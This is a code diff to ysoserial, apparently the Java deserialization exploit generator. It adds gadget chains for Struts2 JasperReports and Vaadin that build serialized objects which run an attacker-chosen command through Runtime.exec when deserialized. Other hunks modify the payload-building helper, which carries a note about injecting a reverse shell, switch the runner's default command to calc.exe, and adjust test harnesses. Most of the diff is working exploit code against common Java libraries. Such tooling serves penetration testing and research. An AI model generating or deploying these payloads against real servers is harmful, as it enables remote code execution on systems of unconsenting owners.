+import com.opensymphony.xwork2.config.ConfigurationManager;
+import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
+import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
+import com.opensymphony.xwork2.inject.Container;
+import com.opensymphony.xwork2.ognl.OgnlValueStack;
+import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+*
+* Gadget chain:
+* 
+* 
+* 	java/util/HashMap<K,V>.readObject(ObjectInputStream)
+* 	java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
+* 		org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
+* 		org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
+* 			com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression 
+* 
+* 			Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
+* 
+*  				TemplatesImpl.newTransformer()
+*					TemplatesImpl.getTransletInstance()
+*						TemplatesImpl.defineTransletClasses()
+*							TemplatesImpl.TransletClassLoader.defineClass()
+*								Pwner*(Javassist-generated).<static init>
+*									Runtime.exec()
+*
+*
+* @author sciccone
+*
+*/
+@SuppressWarnings({ "unchecked" })
+@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
+@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
+@Authors({ Authors.SCICCONE })
+public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+		
+		// create required objects via reflection
+		Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
+		Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
+				XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
+		c1.setAccessible(true);
+		c2.setAccessible(true);
+		XWorkConverter xworkConverter = c1.newInstance();
+		OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
+		
+		// inject templateImpl with embedded command
+		ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
+		
+		// create shadowMaps
+		ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
+		ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
+		
+		// execute OGNL "(template.newTransformer()) upon deserialisation
+		String keyExpression = "(template.newTransformer())";
+		shadowMap1.put(keyExpression, null);
+		shadowMap2.put(keyExpression, null);
+		
+        return Gadgets.makeMap(shadowMap1, shadowMap2);
+	}
+	
+    
+    public static void main ( final String[] args ) throws Exception {
+    	initializeThreadLocalMockContainerForTesting();
+    	PayloadRunner.run(Struts2JasperReports.class, args);
+    }
+    
+    
+    /**
+     * Create mock container and mock actionContext,
+     * since a context is required for the payload being triggered upon deserialisation.
+     * Simulates an Apache Struts2 app up and running.
+     */
+    public static void initializeThreadLocalMockContainerForTesting() {
+        ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
+        configurationManager.addContainerProvider(new XWorkConfigurationProvider());
+        Configuration config = configurationManager.getConfiguration();
+        Container container = config.getContainer();
+        
+    	HashMap<String, Object> context = new HashMap<String, Object>();
+    	context.put(ActionContext.CONTAINER, container);
+    	ActionContext.setContext(new ActionContext(context));
+    }
+    
+    // add dependencies for testing a mock struts2 app 
+    public static String[] getDependencies () {
+        return new String[] {
+        	"org.apache.struts:struts2-core:2.5.20", 
+        	"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
+        	"org.apache.logging.log4j:log4j-api:2.11.1",
+        	"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
+        	"javassist:javassist:3.12.1.GA"
+        };
+
+    }
+}

src/main/java/ysoserial/payloads/URLDNS.java

@@ -41,7 +41,7 @@ import ysoserial.payloads.util.Reflections;
  *
  */
 @SuppressWarnings({ "rawtypes", "unchecked" })
-@PayloadTest(skip = "true")
+@PayloadTest(harness="ysoserial.test.payloads.DnsLookupTest")
 @Dependencies()
 @Authors({ Authors.GEBL })
 public class URLDNS implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Vaadin1.java

@@ -0,0 +1,82 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
+@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload<Object>
+{
+//  +-------------------------------------------------+
+//  |                                                 |
+//  |  BadAttributeValueExpException                  |
+//  |                                                 |
+//  |  val ==>  PropertysetItem                       |
+//  |                                                 |
+//  |  readObject() ==> val.toString()                |
+//  |          +                                      |
+//  +----------|--------------------------------------+
+//             |
+//             |
+//             |
+//        +----|-----------------------------------------+
+//        |    v                                         |
+//        |  PropertysetItem                             |
+//        |                                              |
+//        |  toString () => getPropertyId().getValue ()  |
+//        |                                       +      |
+//        +---------------------------------------|------+
+//                                                |
+//                  +-----------------------------+
+//                  |
+//            +-----|----------------------------------------------+
+//            |     v                                              |
+//            |  NestedMethodProperty                              |
+//            |                                                    |
+//            |  getValue() => java.lang.reflect.Method.invoke ()  |
+//            |                                           |        |
+//            +-------------------------------------------|--------+
+//                                                        |
+//                    +-----------------------------------+
+//                    |
+//                +---|--------------------------------------------+
+//                |   v                                            |
+//                |  TemplatesImpl.getOutputProperties()           |
+//                |                                                |
+//                +------------------------------------------------+
+    
+    @Override
+    public Object getObject (String command) throws Exception
+    {
+        Object templ = Gadgets.createTemplatesImpl (command);
+        PropertysetItem pItem = new PropertysetItem ();        
+        
+        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
+        pItem.addItemProperty ("outputProperties", nmprop);
+        
+        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
+        Reflections.setFieldValue (b, "val", pItem);
+        
+        return b;
+    }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Vaadin1.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Wicket1.java

@@ -46,10 +46,10 @@ import ysoserial.payloads.util.Reflections;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
-@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
 @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
-public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
+public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
 
     public DiskFileItem getObject(String command) throws Exception {
 
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
         throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
     }
 
-	public void release(DiskFileItem obj) throws Exception {
+	public void postSerializeRelease(DiskFileItem obj) throws Exception {
 	}
 
     private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -15,9 +15,22 @@ public @interface Authors {
     String MBECHLER = "mbechler";
     String JACKOFMOSTTRADES = "JackOfMostTrades";
     String MATTHIASKAISER = "matthias_kaiser";
-    String GEBL = "gebl" ;
+    String GEBL = "gebl";
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
+    String KULLRICH = "kai_ullrich";
+    String TINT0 = "_tint0";
+    String SCRISTALLI = "scristalli";
+    String HANYRAX = "hanyrax";
+    String EDOARDOVIGNATI = "EdoardoVignati";
+    String YKOSTER = "ykoster";
+    String MEIZJM3I = "meizjm3i";
+    String SCICCONE = "sciccone";
+    String ZEROTHOUGHTS = "zerothoughts";
+    String NAVALORENZO = "navalorenzo";
+    String JANG = "Jang";
+    String ARTSPLOIT = "artsploit";
+    String K4n5ha0 = "k4n5ha0";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/annotation/PayloadTest.java

@@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy;
  */
 @Retention(RetentionPolicy.RUNTIME)
 public @interface PayloadTest {
-
     String skip() default "";
-    
+
     String precondition() default "";
-    
+
     String harness() default "";
 
+    String flaky() default "";
 }

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -9,16 +9,13 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Proxy;
-import java.util.Arrays;
 import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
 import java.util.Map;
 
+import com.nqzero.permit.Permit;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.Strings;
 
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -93,7 +90,7 @@ public class Gadgets {
     }
 
 
-    public static Object createTemplatesImpl ( final String command[] ) throws Exception {
+    public static Object createTemplatesImpl ( final String command ) throws Exception {
         if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
             return createTemplatesImpl(
                 command,
@@ -106,7 +103,7 @@ public class Gadgets {
     }
 
 
-    public static <T> T createTemplatesImpl ( final String command[], Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
             throws Exception {
         final T templates = tplClass.newInstance();
 
@@ -117,10 +114,7 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + 
+        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + escapeForJavaString(command) + "\");";
-                Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") + 
-                "});";
-
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
@@ -140,6 +134,10 @@ public class Gadgets {
         return templates;
     }
 
+    public static String escapeForJavaString(String command) {
+        return command.replace("\\", "\\\\").replace("\"", "\\\"");
+    }
+
 
     public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
             IllegalAccessException, InvocationTargetException {
@@ -153,7 +151,7 @@ public class Gadgets {
             nodeC = Class.forName("java.util.HashMap$Entry");
         }
         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
-        nodeCons.setAccessible(true);
+        Reflections.setAccessible(nodeCons);
 
         Object tbl = Array.newInstance(nodeC, 2);
         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -21,13 +21,13 @@ public class JavaVersion {
         }
         JavaVersion v = new JavaVersion();
         String parts[] = property.split("\\.|_|-");
-        v.major   = Integer.parseInt(parts[1]);
+        int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
-        v.minor   = Integer.parseInt(parts[2]);
+        v.major   = Integer.parseInt(parts[start + 0]);
-        v.update  = Integer.parseInt(parts[3]);
+        v.minor   = Integer.parseInt(parts[start + 1]);
+        v.update  = Integer.parseInt(parts[start + 2]);
         return v;
     }
 
-
     public static boolean isAnnInvHUniversalMethodImpl() {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
@@ -37,5 +37,10 @@ public class JavaVersion {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major > 8 && v.update >= 76);
     }
+
+    public static boolean isAtLeast(int major) {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && v.major >= major;
+    }
 }
 

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -1,9 +1,7 @@
 package ysoserial.payloads.util;
 
-import java.io.File;
 import java.util.concurrent.Callable;
 
-import ysoserial.Deserializer;
 import ysoserial.Serializer;
 import static ysoserial.Deserializer.deserialize;
 import static ysoserial.Serializer.serialize;
@@ -17,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
 @SuppressWarnings("unused")
 public class PayloadRunner {
 
-    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
+    public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
+        return run(clazz, args, false);
+    }
+
+    public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
 		// ensure payload generation doesn't throw an exception
+        final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
+
+        System.out.println("generating payload object(s) for command: '" + command + "'");
+
+        final ObjectPayload<?> payload = clazz.newInstance();
+
 		byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
-				final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
 
-				System.out.println("generating payload object(s) for command: '" + command + "'");
-
-				ObjectPayload<?> payload = clazz.newInstance();
                 final Object objBefore = payload.getObject(command);
 
 				System.out.println("serializing payload");
 				byte[] ser = Serializer.serialize(objBefore);
-				Utils.releasePayload(payload, objBefore);
+				Utils.postSerializeRelease(payload, objBefore);
                 return ser;
 		}});
 
 		try {
 			System.out.println("deserializing payload");
-			final Object objAfter = Deserializer.deserialize(serialized);
+            T deserialize = (T) deserialize(serialized);
+            if (releasePostDeserialize) {
+                Utils.postDeserializeRelease(payload, deserialize);
+            }
+            return deserialize;
 		} catch (Exception e) {
 			e.printStackTrace();
+            return null;
 		}
-
 	}
 
     private static String getDefaultTestCmd() {
@@ -53,12 +61,12 @@ public class PayloadRunner {
     }
 
     private static String getFirstExistingFile(String ... files) {
-//        return "calc.exe";
+        return "calc.exe";
-        for (String path : files) {
+//        for (String path : files) {
-            if (new File(path).exists()) {
+//            if (new File(path).exists()) {
-                return path;
+//                return path;
-            }
+//            }
-        }
+//        }
-        throw new UnsupportedOperationException("no known test executable");
+//        throw new UnsupportedOperationException("no known test executable");
     }
 }

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -1,52 +1,97 @@
 package ysoserial.payloads.util;
 
-import java.lang.reflect.Constructor;
+import java.lang.reflect.*;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
 
 import sun.reflect.ReflectionFactory;
 
+import com.nqzero.permit.Permit;
+
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
-	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
+    public static void setAccessible(AccessibleObject member) {
-		Field field = clazz.getDeclaredField(fieldName);
+        String versionStr = System.getProperty("java.version");
-		if (field != null)
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
-			field.setAccessible(true);
+        if (javaVersion < 12) {
-		else if (clazz.getSuperclass() != null)
+          // quiet runtime warnings from JDK9+
-			field = getField(clazz.getSuperclass(), fieldName);
+          Permit.setAccessible(member);
-		return field;
+        } else {
+          // not possible to quiet runtime warnings anymore...
+          // see https://bugs.openjdk.java.net/browse/JDK-8210522
+          // to understand impact on Permit (i.e. it does not work
+          // anymore with Java >= 12)
+          member.setAccessible(true);
+        }
+    }
+
+	public static Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+	    try {
+            field = clazz.getDeclaredField(fieldName);
+            setAccessible(field);
+        } catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null)
+                field = getField(clazz.getSuperclass(), fieldName);
+        }
+        field.setAccessible(true);
+
+        try {
+            Field modifiersField = Field.class.getDeclaredField("modifiers");
+            modifiersField.setAccessible(true);
+            modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        return field;
 	}
 
-	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+	public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
-		final Field field = getField(obj.getClass(), fieldName);
+        Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
+        obj = obj instanceof Class ? null : obj;
+		final Field field = getField(clazz, fieldName);
 		field.set(obj, value);
 	}
 
-	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+	public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
-		final Field field = getField(obj.getClass(), fieldName);		
+        Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
+        obj = obj instanceof Class ? null : obj;
+		final Field field = getField(clazz, fieldName);
 		return field.get(obj);
 	}
 
+    public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
+        for (String fieldName : fieldNames) {
+            if (obj == null) {
+                throw new NullPointerException();
+            }
+            obj = getFieldValue(obj, fieldName);
+        }
+        return obj;
+    }
+
 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
-	    ctor.setAccessible(true);
+	    setAccessible(ctor);
 	    return ctor;
 	}
-	
+
+	public static Object newInstance(String className, Object ... args) throws Exception {
+        return getFirstCtor(className).newInstance(args);
+    }
 
     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
     }
-    
+
     @SuppressWarnings ( {"unchecked"} )
     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
-        objCons.setAccessible(true);
+	    setAccessible(objCons);
         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
-        sc.setAccessible(true);
+	    setAccessible(sc);
         return (T)sc.newInstance(consArgs);
     }
 

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java

@@ -16,12 +16,42 @@ public class DelegateSecurityManager extends SecurityManager {
 		this.securityManager = securityManager;
 	}
 
+    //BEGIN fixes for JDK10+ compatibility
+
     @SuppressWarnings({"deprecation"})
-    @Override
+    //@Override
 	public boolean getInCheck() {
-		return getSecurityManager().getInCheck();
+		//return getSecurityManager().getInCheck();
+        return false;
 	}
 
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public boolean checkTopLevelWindow(Object window) {
+	    //return getSecurityManager().checkTopLevelWindow(window);
+        return true;
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkSystemClipboardAccess() {
+	    //getSecurityManager().checkSystemClipboardAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkAwtEventQueueAccess() {
+        //getSecurityManager().checkAwtEventQueueAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkMemberAccess(Class<?> clazz, int which) {
+        //getSecurityManager().checkMemberAccess(clazz, which);
+    }
+
+    //END fixes for JDK10+ compatibility
+
 	@Override
 	public Object getSecurityContext() {
 		return getSecurityManager().getSecurityContext();
@@ -138,29 +168,11 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkPropertyAccess(key);
 	}
 
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public boolean checkTopLevelWindow(Object window) {
-		return getSecurityManager().checkTopLevelWindow(window);
-	}
-
 	@Override
 	public void checkPrintJobAccess() {
 		getSecurityManager().checkPrintJobAccess();
 	}
 
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public void checkSystemClipboardAccess() {
-		getSecurityManager().checkSystemClipboardAccess();
-	}
-
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public void checkAwtEventQueueAccess() {
-		getSecurityManager().checkAwtEventQueueAccess();
-	}
-
 	@Override
 	public void checkPackageAccess(String pkg) {
 
@@ -177,12 +189,6 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkSetFactory();
 	}
 
-	@SuppressWarnings({"deprecation"})
-	@Override
-	public void checkMemberAccess(Class<?> clazz, int which) {
-		getSecurityManager().checkMemberAccess(clazz, which);
-	}
-
 	@Override
 	public void checkSecurityAccess(String target) {
 		getSecurityManager().checkSecurityAccess(target);

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java

@@ -6,6 +6,7 @@ import java.util.LinkedList;
 import java.util.List;
 import java.util.concurrent.Callable;
 
+// TODO per-thread secmgr
 public class ExecCheckingSecurityManager extends SecurityManager {
 	public ExecCheckingSecurityManager() {
 		this(true);
@@ -41,7 +42,6 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	};
 
-
 	@SuppressWarnings("serial")
 	public static class ExecException extends RuntimeException {
 		private final String threadName = Thread.currentThread().getName();

src/main/java/ysoserial/secmgr/SecurityManagers.java

@@ -0,0 +1,21 @@
+package ysoserial.secmgr;
+
+import java.util.concurrent.Callable;
+
+public class SecurityManagers {
+    public static <T> Callable<T> wrapped(final Callable<T> callable, final SecurityManager sm) throws Exception {
+        final SecurityManager orig = System.getSecurityManager(); // save sm
+        return new Callable<T>() {
+            @Override
+            public T call() throws Exception {
+                System.setSecurityManager(sm);
+                try {
+                    return callable.call();
+                } finally {
+                    System.setSecurityManager(orig); // restore sm
+                }
+
+            }
+        };
+    }
+}

src/main/resources/logging.properties

@@ -0,0 +1 @@
+org.reflections.level=WARNING

src/test/java/ysoserial/CiTest.java

@@ -0,0 +1,22 @@
+package ysoserial;
+
+import org.junit.Test;
+
+import java.util.Map;
+import java.util.TreeMap;
+
+public class CiTest {
+    @Test
+    public void test() {
+        for (Map.Entry<Object,Object> e : new TreeMap<Object,Object>(System.getProperties()).entrySet()) {
+            System.out.println("System property " + e.getKey() + " : " + e.getValue());
+        }
+        for (Map.Entry<String,String> e : new TreeMap<String,String>(System.getenv()).entrySet()) {
+            System.out.println("System env " + e.getKey() + " : " + e.getValue());
+        }
+    }
+
+    public static void main(String[] args) {
+        new CiTest().test();
+    }
+}

src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java

@@ -1,57 +0,0 @@
-package ysoserial.payloads;
-
-
-import java.util.concurrent.Callable;
-
-import javax.management.BadAttributeValueExpException;
-
-import org.junit.Assert;
-
-import ysoserial.CustomTest;
-import ysoserial.exploit.JRMPListener;
-
-
-/**
- * @author mbechler
- *
- */
-public class JRMPReverseConnectTest implements CustomTest {
-
-    private int port;
-
-
-    /**
-     * 
-     */
-    public JRMPReverseConnectTest () {
-        // some payloads cannot specify the port
-        port = 1099;
-    }
-
-
-    public void run ( Callable<Object> payload ) throws Exception {
-        JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
-        Thread t = new Thread(l, "JRMP listener");
-        try {
-            t.start();
-            try {
-                payload.call();
-            }
-            catch ( Exception e ) {
-                // ignore
-            }
-            Assert.assertTrue("Did not have connection", l.waitFor(1000));
-        }
-        finally {
-            l.close();
-            t.interrupt();
-            t.join();
-        }
-    }
-
-
-    public String getPayloadArgs () {
-        return "rmi:localhost:" + port;
-    }
-
-}

src/test/java/ysoserial/payloads/PayloadsTest.java

@@ -1,222 +0,0 @@
-package ysoserial.payloads;
-
-
-import java.io.File;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.util.Arrays;
-import java.util.Set;
-import java.util.concurrent.Callable;
-
-import org.jboss.shrinkwrap.resolver.api.maven.Maven;
-import org.junit.Assert;
-import org.junit.Assume;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
-
-import ysoserial.CustomDeserializer;
-import ysoserial.CustomPayloadArgs;
-import ysoserial.CustomTest;
-import ysoserial.Deserializer;
-import ysoserial.Serializer;
-import ysoserial.util.Throwables;
-import ysoserial.WrappedTest;
-import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
-import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.ClassFiles;
-import ysoserial.secmgr.ExecCheckingSecurityManager;
-import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
-
-
-/*
- * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
- * a special exception when an exec() attempt is made for more reliable detection; self-tests
- * the harness for trivial pass and failure cases
-
-TODO: figure out better way to test exception behavior than comparing messages
- */
-@SuppressWarnings ( {
-    "rawtypes", "unused", "unchecked"
-} )
-@RunWith ( Parameterized.class )
-public class PayloadsTest {
-
-    @Parameters ( name = "payloadClass: {0}" )
-    public static Class<? extends ObjectPayload<?>>[] payloads () {
-        Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
-        payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
-        return payloadClasses.toArray(new Class[0]);
-    }
-
-    private final Class<? extends ObjectPayload<?>> payloadClass;
-
-
-    public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {
-        this.payloadClass = payloadClass;
-    }
-
-
-    @Test
-    public void testPayload () throws Exception {
-        testPayload(payloadClass, new Class[0]);
-    }
-
-
-    public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
-            throws Exception {
-        String command = "hostname";
-        String[] deps = buildDeps(payloadClass);
-
-        PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
-
-        if ( t != null ) {
-            if ( !t.skip().isEmpty() ) {
-                Assume.assumeTrue(t.skip(), false);
-            }
-
-            if ( !t.precondition().isEmpty() ) {
-                Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
-            }
-        }
-
-        String payloadCommand = command;
-        Class<?> customDeserializer = null;
-        Object testHarness = null;
-        if ( t != null && !t.harness().isEmpty() ) {
-            Class<?> testHarnessClass = Class.forName(t.harness());
-            try {
-                testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
-            } catch ( NoSuchMethodException e ) {
-                testHarness = testHarnessClass.newInstance();
-            }
-        } else {
-            testHarness = new CommandExecTest(); // default
-        }
-
-        if ( testHarness instanceof CustomPayloadArgs ) {
-            payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
-        }
-
-        if ( testHarness instanceof CustomDeserializer ) {
-            customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
-        }
-
-        ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
-        final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
-        Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
-        if ( testHarness instanceof WrappedTest ) {
-            callable = ( (WrappedTest) testHarness ).createCallable(callable);
-        }
-
-        if ( testHarness instanceof CustomTest ) {
-            ( (CustomTest) testHarness ).run(callable);
-            return;
-        }
-    }
-
-
-
-    private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
-        return new Callable<byte[]>() {
-
-            public byte[] call () throws Exception {
-                ObjectPayload<?> payload = payloadClass.newInstance();
-                final Object f = payload.getObject(command);
-                byte[] serialized =  Serializer.serialize(f);
-                ObjectPayload.Utils.releasePayload(payload, f);
-                return serialized;
-            }
-        };
-    }
-
-
-    private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
-            final byte[] serialized, final Class<?> customDeserializer ) {
-        return new Callable<Object>() {
-
-            public Object call () throws Exception {
-                return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer);
-            }
-        };
-    }
-
-
-    private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
-            throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
-        Method precondMethod = pc.getMethod(precondition);
-        return (Boolean) precondMethod.invoke(null);
-    }
-
-
-    private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
-        String[] baseDeps;
-        if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
-            Method method = payloadClass.getMethod("getDependencies");
-            baseDeps = (String[]) method.invoke(null);
-        }
-        else {
-            baseDeps = Dependencies.Utils.getDependencies(payloadClass);
-        }
-        if ( System.getProperty("properXalan") != null ) {
-            baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);
-            baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2";
-        }
-        return baseDeps;
-    }
-
-
